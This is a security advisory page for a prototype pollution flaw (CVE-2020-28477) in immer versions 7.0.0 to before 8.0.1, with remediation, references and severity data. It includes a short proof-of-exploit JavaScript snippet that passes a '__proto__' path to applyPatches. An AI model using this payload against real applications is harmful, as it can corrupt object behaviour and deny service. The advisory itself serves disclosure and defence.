Prototype Pollution in immer
Overview
Affected versions of immer are vulnerable to Prototype Pollution.
Proof of exploit
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);Remediation
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | immer | >= 7.0.0, < 8.0.1 | 8.0.1 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-28477
- https://github.com/immerjs/immer/issues/738
- https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5
- https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986
- https://snyk.io/vuln/SNYK-JS-IMMER-1019369
- https://www.npmjs.com/package/immer
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-471- Platform
- npm
- Package
immer- Disclosed
- 20.01.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9qmh-276g-x5pj - CC BY 4.0
Vulnerability history: immer
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 01.2021 09.2021
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 2
Disclosures per year
- 2021: 3
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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Prototype Pollution in immer this entry
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